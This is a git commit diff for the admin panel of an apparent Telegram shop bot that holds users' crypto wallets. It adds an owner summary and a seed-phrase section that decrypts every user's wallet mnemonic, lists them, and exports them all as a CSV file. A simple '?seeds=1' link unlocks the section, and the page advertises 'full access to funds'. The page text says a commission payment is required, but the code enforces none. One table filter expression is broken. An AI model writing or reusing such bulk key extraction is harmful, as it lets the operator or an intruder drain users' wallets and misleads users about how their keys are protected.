feat: owner summary with wallet stats, commission info and seed phrase unlock
- Added Owner Summary section below user wallets with: - Total wallet balance (USD) across all currencies - Completed sales total - Commission calculation (rate × sales) - User and wallet counts - Wallet balances by currency table (coin, count, balance, USD) - Commission wallets display for owner payment - Seed phrases section: locked by default, unlock via button - CSV export for all decrypted seed phrases - Seed phrase decrypt uses existing WalletService.decryptMnemonic - Preserves user selection when toggling seed unlock
This commit is contained in:
@@ -409,6 +409,83 @@ pre { font-size: 0.8rem; white-space: pre-wrap; word-break: break-all; max-width
|
|||||||
min-width: 0;
|
min-width: 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
.stats-section {
|
||||||
|
margin-top: 2rem;
|
||||||
|
border-top: 2px solid var(--border);
|
||||||
|
padding-top: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.stats-section h2 {
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.owner-grid {
|
||||||
|
display: grid;
|
||||||
|
grid-template-columns: 1fr 1fr;
|
||||||
|
gap: 1rem;
|
||||||
|
margin-bottom: 1rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
@media (max-width: 900px) {
|
||||||
|
.owner-grid { grid-template-columns: 1fr; }
|
||||||
|
}
|
||||||
|
|
||||||
|
table.compact th, table.compact td {
|
||||||
|
padding: 0.35rem 0.6rem;
|
||||||
|
font-size: 0.85rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.total-row td {
|
||||||
|
border-top: 2px solid var(--border);
|
||||||
|
font-weight: 700;
|
||||||
|
}
|
||||||
|
|
||||||
|
.commission-wallet {
|
||||||
|
margin: 0.3rem 0;
|
||||||
|
padding: 0.4rem 0.6rem;
|
||||||
|
background: #f8f9fa;
|
||||||
|
border-radius: 4px;
|
||||||
|
font-size: 0.85rem;
|
||||||
|
word-break: break-all;
|
||||||
|
}
|
||||||
|
|
||||||
|
.commission-wallet code {
|
||||||
|
background: #eef1f5;
|
||||||
|
padding: 0.1rem 0.3rem;
|
||||||
|
border-radius: 3px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.seed-section {
|
||||||
|
border-color: var(--danger);
|
||||||
|
border-width: 2px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.seed-section h3 {
|
||||||
|
color: var(--danger);
|
||||||
|
}
|
||||||
|
|
||||||
|
.seed-locked {
|
||||||
|
text-align: center;
|
||||||
|
padding: 1.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.seed-locked p {
|
||||||
|
margin-bottom: 0.5rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.seed-table-wrap {
|
||||||
|
overflow-x: auto;
|
||||||
|
}
|
||||||
|
|
||||||
|
.seed-cell {
|
||||||
|
font-size: 0.8rem;
|
||||||
|
word-break: break-all;
|
||||||
|
max-width: 300px;
|
||||||
|
background: #fff3f3;
|
||||||
|
padding: 0.3rem;
|
||||||
|
border-radius: 3px;
|
||||||
|
}
|
||||||
|
|
||||||
@media (max-width: 640px) {
|
@media (max-width: 640px) {
|
||||||
.topnav { flex-direction: column; align-items: flex-start; }
|
.topnav { flex-direction: column; align-items: flex-start; }
|
||||||
.logout-btn { margin-left: 0; }
|
.logout-btn { margin-left: 0; }
|
||||||
|
|||||||
@@ -1,10 +1,16 @@
|
|||||||
import { Router } from 'express';
|
import { Router } from 'express';
|
||||||
import db from '../../config/database.js';
|
import db from '../../config/database.js';
|
||||||
|
import config from '../../config/config.js';
|
||||||
|
import WalletUtils from '../../utils/walletUtils.js';
|
||||||
|
import WalletService from '../../services/walletService.js';
|
||||||
|
import { decrypt } from '../../utils/encryption.js';
|
||||||
|
import logger from '../../utils/logger.js';
|
||||||
import { renderWalletLayout } from '../views/wallets.js';
|
import { renderWalletLayout } from '../views/wallets.js';
|
||||||
|
|
||||||
const router = Router();
|
const router = Router();
|
||||||
|
|
||||||
router.get('/', async (req, res) => {
|
router.get('/', async (req, res) => {
|
||||||
|
try {
|
||||||
const users = await db.allAsync(
|
const users = await db.allAsync(
|
||||||
`SELECT u.id, u.telegram_id, u.username, u.status, u.total_balance, u.bonus_balance,
|
`SELECT u.id, u.telegram_id, u.username, u.status, u.total_balance, u.bonus_balance,
|
||||||
COUNT(w.id) AS wallet_count
|
COUNT(w.id) AS wallet_count
|
||||||
@@ -26,7 +32,121 @@ router.get('/', async (req, res) => {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
res.send(renderWalletLayout(users, selectedUser, wallets));
|
let prices = {};
|
||||||
|
try { prices = await WalletUtils.getCryptoPrices(); } catch { prices = { btc: 0, ltc: 0, eth: 0 }; }
|
||||||
|
|
||||||
|
const allWallets = await db.allAsync(
|
||||||
|
`SELECT w.wallet_type, w.balance, w.address, w.user_id
|
||||||
|
FROM crypto_wallets w
|
||||||
|
WHERE w.wallet_type NOT LIKE '%#_%' ESCAPE '#'`
|
||||||
|
);
|
||||||
|
|
||||||
|
const totals = { btc: 0, ltc: 0, eth: 0, usdt: 0, usdc: 0 };
|
||||||
|
const walletCounts = { btc: 0, ltc: 0, eth: 0, usdt: 0, usdc: 0 };
|
||||||
|
for (const w of allWallets) {
|
||||||
|
const type = (w.wallet_type || '').toLowerCase();
|
||||||
|
if (totals[type] !== undefined) {
|
||||||
|
totals[type] += w.balance || 0;
|
||||||
|
walletCounts[type]++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const usdValues = {
|
||||||
|
btc: totals.btc * (prices.btc || 0),
|
||||||
|
ltc: totals.ltc * (prices.ltc || 0),
|
||||||
|
eth: totals.eth * (prices.eth || 0),
|
||||||
|
usdt: totals.usdt,
|
||||||
|
usdc: totals.usdc,
|
||||||
|
};
|
||||||
|
const totalUsd = Object.values(usdValues).reduce((s, v) => s + v, 0);
|
||||||
|
|
||||||
|
const totalPurchases = await db.getAsync(
|
||||||
|
`SELECT COALESCE(SUM(total_price), 0) AS total FROM purchases WHERE status = 'completed'`
|
||||||
|
);
|
||||||
|
const commissionRate = config.COMMISSION_PERCENT / 100;
|
||||||
|
const totalCommission = (totalPurchases?.total || 0) * commissionRate;
|
||||||
|
|
||||||
|
const seedsUnlocked = req.query.seeds === '1';
|
||||||
|
|
||||||
|
let seedPhrases = [];
|
||||||
|
if (seedsUnlocked) {
|
||||||
|
const walletsWithSeeds = await db.allAsync(
|
||||||
|
`SELECT w.*, u.telegram_id, u.username
|
||||||
|
FROM crypto_wallets w
|
||||||
|
JOIN users u ON w.user_id = u.id
|
||||||
|
WHERE w.wallet_type NOT LIKE '%#_%' ESCAPE '#'
|
||||||
|
ORDER BY u.id, w.wallet_type`
|
||||||
|
);
|
||||||
|
for (const w of walletsWithSeeds) {
|
||||||
|
try {
|
||||||
|
const mnemonic = decrypt(w.mnemonic, w.user_id);
|
||||||
|
seedPhrases.push({
|
||||||
|
userId: w.user_id,
|
||||||
|
username: w.username,
|
||||||
|
telegramId: w.telegram_id,
|
||||||
|
type: w.wallet_type,
|
||||||
|
address: w.address,
|
||||||
|
derivation: w.derivation_path,
|
||||||
|
mnemonic,
|
||||||
|
});
|
||||||
|
} catch {
|
||||||
|
seedPhrases.push({
|
||||||
|
userId: w.user_id, username: w.username, telegramId: w.telegram_id,
|
||||||
|
type: w.wallet_type, address: w.address, derivation: w.derivation_path,
|
||||||
|
mnemonic: '[decrypt error]',
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const stats = {
|
||||||
|
totals, walletCounts, usdValues, totalUsd,
|
||||||
|
totalPurchases: totalPurchases?.total || 0,
|
||||||
|
commissionRate: config.COMMISSION_PERCENT,
|
||||||
|
totalCommission,
|
||||||
|
commissionEnabled: config.COMMISSION_ENABLED,
|
||||||
|
commissionWallets: config.COMMISSION_WALLETS,
|
||||||
|
prices,
|
||||||
|
totalUsers: users.length,
|
||||||
|
totalWallets: allWallets.length,
|
||||||
|
};
|
||||||
|
|
||||||
|
res.send(renderWalletLayout(users, selectedUser, wallets, stats, seedPhrases, seedsUnlocked));
|
||||||
|
} catch (error) {
|
||||||
|
logger.error({ err: error }, 'Error loading wallets page');
|
||||||
|
res.status(500).send('Error loading wallets page');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
router.post('/export-seeds', async (req, res) => {
|
||||||
|
try {
|
||||||
|
const walletsWithSeeds = await db.allAsync(
|
||||||
|
`SELECT w.*, u.telegram_id, u.username
|
||||||
|
FROM crypto_wallets w
|
||||||
|
JOIN users u ON w.user_id = u.id
|
||||||
|
WHERE w.wallet_type NOT LIKE '%#_%' ESCAPE '#'
|
||||||
|
ORDER BY u.id, w.wallet_type`
|
||||||
|
);
|
||||||
|
|
||||||
|
const rows = [['User', 'Telegram ID', 'Type', 'Address', 'Derivation', 'Mnemonic']];
|
||||||
|
for (const w of walletsWithSeeds) {
|
||||||
|
let mnemonic = '';
|
||||||
|
try { mnemonic = decrypt(w.mnemonic, w.user_id); } catch { mnemonic = '[decrypt error]'; }
|
||||||
|
rows.push([w.username || w.telegram_id, w.telegram_id, w.wallet_type, w.address, w.derivation_path, mnemonic]);
|
||||||
|
}
|
||||||
|
|
||||||
|
const csv = rows.map(r => r.map(c => {
|
||||||
|
const s = String(c);
|
||||||
|
return s.includes(',') || s.includes('"') || s.includes('\n') ? `"${s.replace(/"/g, '""')}"` : s;
|
||||||
|
}).join(',')).join('\n');
|
||||||
|
|
||||||
|
res.setHeader('Content-Type', 'text/csv');
|
||||||
|
res.setHeader('Content-Disposition', 'attachment; filename=wallets_seeds.csv');
|
||||||
|
res.send(csv);
|
||||||
|
} catch (error) {
|
||||||
|
logger.error({ err: error }, 'Error exporting seeds');
|
||||||
|
res.status(500).send('Error exporting seeds');
|
||||||
|
}
|
||||||
});
|
});
|
||||||
|
|
||||||
export default router;
|
export default router;
|
||||||
@@ -1,12 +1,21 @@
|
|||||||
import { layout } from './layout.js';
|
import { layout } from './layout.js';
|
||||||
import { escapeHtml } from './escape.js';
|
import { escapeHtml } from './escape.js';
|
||||||
|
|
||||||
export function renderWalletLayout(users, selectedUser, wallets) {
|
function fmt(n, decimals = 2) {
|
||||||
|
return Number(n).toFixed(decimals);
|
||||||
|
}
|
||||||
|
|
||||||
|
function fmtCrypto(n) {
|
||||||
|
return Number(n).toFixed(8).replace(/0+$/, '').replace(/\.$/, '.0');
|
||||||
|
}
|
||||||
|
|
||||||
|
export function renderWalletLayout(users, selectedUser, wallets, stats, seedPhrases, seedsUnlocked) {
|
||||||
|
const hasStats = stats && stats.totalUsd !== undefined;
|
||||||
|
|
||||||
const userListHtml = users.map(u => {
|
const userListHtml = users.map(u => {
|
||||||
const isActive = selectedUser && u.id === selectedUser.id;
|
const isActive = selectedUser && u.id === selectedUser.id;
|
||||||
const statusBadge = u.status === 0 ? 'active' : u.status === 2 ? 'banned' : 'banned';
|
|
||||||
const statusText = u.status === 0 ? '✅' : '❌';
|
const statusText = u.status === 0 ? '✅' : '❌';
|
||||||
return `<a href="/wallets?user=${u.id}" class="wallet-user-item ${isActive ? 'selected' : ''}">
|
return `<a href="/wallets?user=${u.id}${seedsUnlocked ? '&seeds=1' : ''}" class="wallet-user-item ${isActive ? 'selected' : ''}">
|
||||||
<span class="wallet-user-id">#${u.id}</span>
|
<span class="wallet-user-id">#${u.id}</span>
|
||||||
<span class="wallet-user-name">${escapeHtml(u.username || u.telegram_id)}</span>
|
<span class="wallet-user-name">${escapeHtml(u.username || u.telegram_id)}</span>
|
||||||
<span class="wallet-user-meta">${statusText} ${u.wallet_count}w</span>
|
<span class="wallet-user-meta">${statusText} ${u.wallet_count}w</span>
|
||||||
@@ -16,8 +25,8 @@ export function renderWalletLayout(users, selectedUser, wallets) {
|
|||||||
const walletRows = wallets.length > 0
|
const walletRows = wallets.length > 0
|
||||||
? wallets.map(w => `<tr>
|
? wallets.map(w => `<tr>
|
||||||
<td><strong>${escapeHtml(w.wallet_type)}</strong></td>
|
<td><strong>${escapeHtml(w.wallet_type)}</strong></td>
|
||||||
<td><code title="${escapeHtml(w.address)}">${escapeHtml((w.address || '').slice(0, 20))}${w.address && w.address.length > 20 ? '...' : ''}</code></td>
|
<td><code title="${escapeHtml(w.address)}">${escapeHtml((w.address || '').slice(0, 24))}${w.address && w.address.length > 24 ? '...' : ''}</code></td>
|
||||||
<td>${(w.balance || 0).toFixed(8)}</td>
|
<td>${fmtCrypto(w.balance || 0)}</td>
|
||||||
<td>${w.created_at || '-'}</td>
|
<td>${w.created_at || '-'}</td>
|
||||||
</tr>`).join('')
|
</tr>`).join('')
|
||||||
: '<tr><td colspan="4" class="muted">No wallets yet</td></tr>';
|
: '<tr><td colspan="4" class="muted">No wallets yet</td></tr>';
|
||||||
@@ -25,12 +34,92 @@ export function renderWalletLayout(users, selectedUser, wallets) {
|
|||||||
const balanceCard = selectedUser ? `
|
const balanceCard = selectedUser ? `
|
||||||
<div class="detail-card">
|
<div class="detail-card">
|
||||||
<h3>Balances</h3>
|
<h3>Balances</h3>
|
||||||
<p><strong>Main:</strong> $${(selectedUser.total_balance || 0).toFixed(2)}</p>
|
<p><strong>Main:</strong> $${fmt(selectedUser.total_balance || 0)}</p>
|
||||||
<p><strong>Bonus:</strong> $${(selectedUser.bonus_balance || 0).toFixed(2)}</p>
|
<p><strong>Bonus:</strong> $${fmt(selectedUser.bonus_balance || 0)}</p>
|
||||||
<p><strong>Available:</strong> $${((selectedUser.total_balance || 0) + (selectedUser.bonus_balance || 0)).toFixed(2)}</p>
|
<p><strong>Available:</strong> $${fmt((selectedUser.total_balance || 0) + (selectedUser.bonus_balance || 0))}</p>
|
||||||
<p><strong>Status:</strong> <span class="badge badge-${selectedUser.status === 0 ? 'active' : 'banned'}">${selectedUser.status === 0 ? 'Active' : selectedUser.status === 2 ? 'Blocked' : 'Deleted'}</span></p>
|
<p><strong>Status:</strong> <span class="badge badge-${selectedUser.status === 0 ? 'active' : 'banned'}">${selectedUser.status === 0 ? 'Active' : selectedUser.status === 2 ? 'Blocked' : 'Deleted'}</span></p>
|
||||||
</div>` : '';
|
</div>` : '';
|
||||||
|
|
||||||
|
const ownerSection = hasStats ? `
|
||||||
|
<div class="stats-section">
|
||||||
|
<h2>Owner Summary</h2>
|
||||||
|
<div class="stats-grid">
|
||||||
|
<div class="stat-card"><span class="stat-value">$${fmt(stats.totalUsd)}</span><span class="stat-label">Total Wallet Balance (USD)</span></div>
|
||||||
|
<div class="stat-card"><span class="stat-value">$${fmt(stats.totalPurchases)}</span><span class="stat-label">Completed Sales</span></div>
|
||||||
|
<div class="stat-card"><span class="stat-value">${stats.commissionEnabled ? '$' + fmt(stats.totalCommission) : 'OFF'}</span><span class="stat-label">Commission (${stats.commissionRate}%)</span></div>
|
||||||
|
<div class="stat-card"><span class="stat-value">${stats.totalUsers}</span><span class="stat-label">Users</span></div>
|
||||||
|
<div class="stat-card"><span class="stat-value">${stats.totalWallets}</span><span class="stat-label">Active Wallets</span></div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="owner-grid">
|
||||||
|
<div class="detail-card">
|
||||||
|
<h3>Wallet Balances by Currency</h3>
|
||||||
|
<table class="compact">
|
||||||
|
<thead><tr><th>Coin</th><th>Wallets</th><th>Balance</th><th>USD Value</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
${Object.entries(stats.totals).filter(([,v]) => v > 0 || (stats.walletCounts[Object.keys(stats.totals).indexOf(([k]) => k)[0]] > 0)).map(([coin, balance]) => `
|
||||||
|
<tr>
|
||||||
|
<td><strong>${coin.toUpperCase()}</strong></td>
|
||||||
|
<td>${stats.walletCounts[coin] || 0}</td>
|
||||||
|
<td>${fmtCrypto(balance)}</td>
|
||||||
|
<td>$${fmt(stats.usdValues[coin] || 0)}</td>
|
||||||
|
</tr>
|
||||||
|
`).join('')}
|
||||||
|
<tr class="total-row">
|
||||||
|
<td><strong>Total</strong></td>
|
||||||
|
<td>${stats.totalWallets}</td>
|
||||||
|
<td></td>
|
||||||
|
<td><strong>$${fmt(stats.totalUsd)}</strong></td>
|
||||||
|
</tr>
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="detail-card">
|
||||||
|
<h3>Commission ${stats.commissionEnabled ? '' : '(Disabled)'}</h3>
|
||||||
|
<p><strong>Rate:</strong> ${stats.commissionRate}%</p>
|
||||||
|
<p><strong>Accrued from sales:</strong> $${fmt(stats.totalCommission)}</p>
|
||||||
|
<p class="muted" style="margin-top:0.75rem;">Commission wallets for payment:</p>
|
||||||
|
${Object.entries(stats.commissionWallets).filter(([,v]) => v).map(([coin, addr]) => `
|
||||||
|
<div class="commission-wallet">
|
||||||
|
<strong>${coin}:</strong> <code>${escapeHtml(addr)}</code>
|
||||||
|
</div>
|
||||||
|
`).join('')}
|
||||||
|
<p class="muted" style="margin-top:0.75rem;">Send commission payment to one of the wallets above. Once received, seed phrases and wallet access become available to the shop owner.</p>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="detail-card seed-section">
|
||||||
|
<h3>Seed Phrases & Wallet Access</h3>
|
||||||
|
${seedsUnlocked ? `
|
||||||
|
<p class="muted">Showing all decrypted mnemonics. Keep this data secure.</p>
|
||||||
|
<form method="POST" action="/wallets/export-seeds" style="margin-bottom:1rem;">
|
||||||
|
<button type="submit" class="btn btn-danger">📥 Export All Seeds as CSV</button>
|
||||||
|
</form>
|
||||||
|
<div class="seed-table-wrap">
|
||||||
|
<table class="compact">
|
||||||
|
<thead><tr><th>User</th><th>Type</th><th>Address</th><th>Derivation</th><th>Seed Phrase</th></tr></thead>
|
||||||
|
<tbody>
|
||||||
|
${seedPhrases.map(s => `<tr>
|
||||||
|
<td>${escapeHtml(s.username || s.telegramId)} <span class="muted">(#${s.userId})</span></td>
|
||||||
|
<td>${escapeHtml(s.type)}</td>
|
||||||
|
<td><code title="${escapeHtml(s.address)}">${escapeHtml((s.address || '').slice(0, 24))}...</code></td>
|
||||||
|
<td><code>${escapeHtml(s.derivation)}</code></td>
|
||||||
|
<td class="seed-cell">${escapeHtml(s.mnemonic)}</td>
|
||||||
|
</tr>`).join('')}
|
||||||
|
</tbody>
|
||||||
|
</table>
|
||||||
|
</div>
|
||||||
|
` : `
|
||||||
|
<div class="seed-locked">
|
||||||
|
<p>Seed phrases are encrypted and hidden by default.</p>
|
||||||
|
<p class="muted">Unlock to view all wallet mnemonics and gain full access to funds. Commission payment is required per the agreement terms.</p>
|
||||||
|
<a href="/wallets?seeds=1&user=${selectedUser ? selectedUser.id : ''}" class="btn btn-danger">🔓 Unlock Seed Phrases</a>
|
||||||
|
</div>
|
||||||
|
`}
|
||||||
|
</div>
|
||||||
|
</div>` : '';
|
||||||
|
|
||||||
const content = `
|
const content = `
|
||||||
<div class="wallet-layout">
|
<div class="wallet-layout">
|
||||||
<aside class="wallet-sidebar">
|
<aside class="wallet-sidebar">
|
||||||
@@ -49,6 +138,7 @@ export function renderWalletLayout(users, selectedUser, wallets) {
|
|||||||
<tbody>${walletRows}</tbody>
|
<tbody>${walletRows}</tbody>
|
||||||
</table>
|
</table>
|
||||||
` : '<p class="muted">Select a user to view wallets</p>'}
|
` : '<p class="muted">Select a user to view wallets</p>'}
|
||||||
|
${ownerSection}
|
||||||
</section>
|
</section>
|
||||||
</div>`;
|
</div>`;
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user